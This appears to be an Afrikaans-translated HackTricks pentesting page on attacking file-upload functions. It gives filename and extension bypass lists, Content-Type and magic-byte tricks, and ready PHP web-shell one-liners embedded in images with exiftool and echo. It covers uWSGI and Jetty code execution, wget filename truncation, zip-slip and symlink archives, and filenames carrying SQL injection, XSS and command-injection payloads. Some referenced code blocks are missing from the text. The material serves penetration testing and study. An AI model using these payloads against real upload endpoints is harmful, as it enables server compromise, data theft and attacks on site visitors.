File Upload
Last updated
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons huur aan! (vloeiend Pools geskryf en gesproke vereis).
Ander nuttige uitbreidings:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Werk in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
As hulle van toepassing is, kontroleer die vorige uitbreidings. Toets hulle ook met 'n paar hoofdletters: pHp, .pHP5, .PhAr ...
Kontroleer om 'n geldige uitbreiding voor die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):
file.png.php
file.png.Php5
Probeer om spesiale karakters aan die einde toe te voeg. Jy kan Burp gebruik om bruteforce al die ascii en Unicode karakters. (Let daarop dat jy ook die vorige genoem uitbreidings kan probeer)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Probeer om die beskermings te omseil deur die uitbreiding parser van die bediener-kant te mislei met tegnieke soos dubbel die uitbreiding of rommel data (null bytes) tussen uitbreidings. Jy kan ook die vorige uitbreidings gebruik om 'n beter payload voor te berei.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Voeg nog 'n laag van uitbreidings by die vorige kontrole:
file.png.jpg.php
file.php%00.png%00.jpg
Probeer om die exec uitbreiding voor die geldige uitbreiding te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding** .php, maar nie noodwendig eindig in .php** sal kode uitvoer):
ex: file.php.png
Gebruik NTFS alternatiewe datastroom (ADS) in Windows. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n leë lêer met die verbode uitbreiding op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “::$data” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.e.g. “file.asp::$data.”)
Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
Bypass Content-Type kontroles deur die waarde van die Content-Type header in te stel op: image/png , text/plain , application/octet-stream
Content-Type woordlys: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Bypass magic number kontrole deur aan die begin van die lêer die bytes van 'n werklike beeld toe te voeg (verwar die file opdrag). Of stel die shell in die metadata in:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
of jy kan ook die payload direk in 'n beeld invoeg:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
As kompressie by jou beeld gevoeg word, byvoorbeeld deur 'n paar standaard PHP biblioteke soos PHP-GD te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die PLTE chunk tegniek hier gedefinieer gebruik om teks in te voeg wat kompressie sal oorleef.
Die webblad kan ook die beeld hergroott, byvoorbeeld deur die PHP-GD funksies imagecopyresized
of imagecopyresampled
te gebruik. Jy kan egter die IDAT chunk tegniek hier gedefinieer gebruik om teks in te voeg wat kompressie sal oorleef.
'n Ander tegniek om 'n payload te maak wat kompressie oorleef, gebruik die PHP-GD funksie thumbnailImage
. Jy kan egter die tEXt chunk tegniek hier gedefinieer gebruik om teks in te voeg wat kompressie sal oorleef.
Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te hernoem (om die uitbreiding te verander).
Vind 'n Local File Inclusion kwesbaarheid om die backdoor uit te voer.
Mogelijke Inligting openbaar:
Laai verskeie kere (en op die selfde tyd) die dieselfde lêer met die dieselfde naam op
Laai 'n lêer op met die naam van 'n lêer of map wat reeds bestaan
Laai 'n lêer op met “.”, “..”, of “…” as sy naam. Byvoorbeeld, in Apache in Windows, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos “…:.jpg” in NTFS. (Windows)
Laai 'n lêer in Windows op met ongeldige karakters soos |<>*?”
in sy naam. (Windows)
Laai 'n lêer in Windows op met gereserveerde (verbode) name soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
Probeer ook om 'n uitvoerbare lêer (.exe) of 'n .html (minder verdag) op te laai wat kode sal uitvoer wanneer dit per ongeluk deur die slagoffer geopen word.
As jy probeer om lêers na 'n PHP bediener op te laai, kyk na die .htaccess truuk om kode uit te voer. As jy probeer om lêers na 'n ASP bediener op te laai, kyk na die .config truuk om kode uit te voer.
Die .phar
lêers is soos die .jar
vir java, maar vir php, en kan gebruik word soos 'n php lêer (dit met php uitvoer, of dit binne 'n skrip insluit...)
Die .inc
uitbreiding word soms gebruik vir php lêers wat net gebruik word om lêers in te voer, so, op 'n stadium, kon iemand hierdie uitbreiding toegelaat het om uitgevoer te word.
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy RCE verkry omdat nuwe *.xml en *.war outomaties verwerk word. Soos genoem in die volgende beeld, laai die XML-lêer op na $JETTY_BASE/webapps/
en verwag die shell!
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: uWSGI RCE Exploitation.
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die .ini
konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as @(filename)
, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n .ini
konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike uwsgi.ini
lêer, wat verskeie skemas toon:
Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ongeluk of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
In sommige gevalle mag jy vind dat 'n bediener wget
gebruik om lêers te aflaai en jy kan die URL aangee. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, hierdie kontrole kan omseil word.
Die maksimum lengte van 'n lêernaam in linux is 255, egter, wget verkort die lêernames tot 236 karakters. Jy kan 'n lêer aflaai wat "A"*232+".php"+".gif" genoem word, hierdie lêernaam sal die kontrole omseil (soos in hierdie voorbeeld is ".gif" 'n geldige uitbreiding) maar wget
sal die lêer hernoem na "A"*232+".php".
Let wel, 'n ander opsie wat jy dalk oorweeg om hierdie kontrole te omseil, is om die HTTP-bediener te laat herlei na 'n ander lêer, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit sal nie werk nie tenzij wget gebruik word met die parameter --trust-server-names
omdat wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai.
Upload Bypass is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lêeroplaadmeganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker.
Stel lêernaam in op ../../../tmp/lol.png
en probeer om 'n pad traversie te bereik
Stel lêernaam in op sleep(10)-- -.jpg
en jy mag in staat wees om 'n SQL-inspuiting te bereik
Stel lêernaam in op <svg onload=alert(document.domain)>
om 'n XSS te bereik
Stel lêernaam in op ; sleep 10;
om 'n paar opdraginspuiting te toets (meer opdraginspuiting truuks hier)
JS lêer oplaad + XSS = Service Workers uitbuiting
Probeer verskillende svg payloads van https://github.com/allanlw/svg-cheatsheet****
As jy kan aandui dat die webbediener 'n beeld van 'n URL moet vang, kan jy probeer om 'n SSRF te misbruik. As hierdie beeld in 'n publieke webwerf gestoor gaan word, kan jy ook 'n URL van https://iplogger.org/invisible/ aandui en inligting van elke besoeker steel.
Spesiaal saamgestelde PDF's vir XSS: Die volgende bladsy toon hoe om PDF-data in te spuit om JS-uitvoering te verkry. As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
Laai die [eicar](https://secure.eicar.org/eicar.com.txt) inhoud op om te kyk of die bediener enige antivirus het
Kyk of daar enige groottegrens is vir die oplaai van lêers
Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van hier):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Gestoor XSS / SSRF / XXE
GIF: Gestoor XSS / SSRF
CSV: CSV inspuiting
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML inspuiting / XSS / Open redirect
PNG / JPEG: Pixel vloedaanval (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Verwys na https://en.wikipedia.org/wiki/List_of_file_signatures vir ander lêertipes.
As jy 'n ZIP kan oplaai wat binne die bediener gedecomprimeer gaan word, kan jy 2 dinge doen:
Laai 'n skakel op wat sagte skakels na ander lêers bevat, dan, deur toegang te verkry tot die gedecomprimeerde lêers, sal jy toegang hê tot die gelinkte lêers:
Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer.
'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by evilarc op GitHub. Die nut kan soos volg gebruik word:
Daarnaast is die symlink truuk met evilarc 'n opsie. As die doelwit is om 'n lêer soos /flag.txt
te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
Misbruik van kompressie vir lêer spuit
Vir verdere besonderhede kyk die oorspronklike pos in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Skep 'n PHP Shell: PHP kode word geskryf om opdragte uit te voer wat deur die $_REQUEST
veranderlike oorgedra word.
Lêer Spuit en Gecomprimeerde Lêer Skep: Meerdere lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
Wysiging met 'n Hex Editor of vi: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse.
Laai hierdie inhoud op met 'n beeld uitbreiding om die kwesbaarheid te benut (ImageMagick , 7.0.1-1) (vorm die exploit)
Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies imagecopyresized
en imagecopyresampled
van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: "Encoding Web Shells in PNG IDAT chunks". Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
Meer inligting in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n GIFAR, 'n hibriede wat sowel as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingsbeleid. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
Meer inligting in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
If you are interested in hacking career and hack the unhackable - we are hiring! (vloeiend Pools geskryf en gesproke vereis).
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)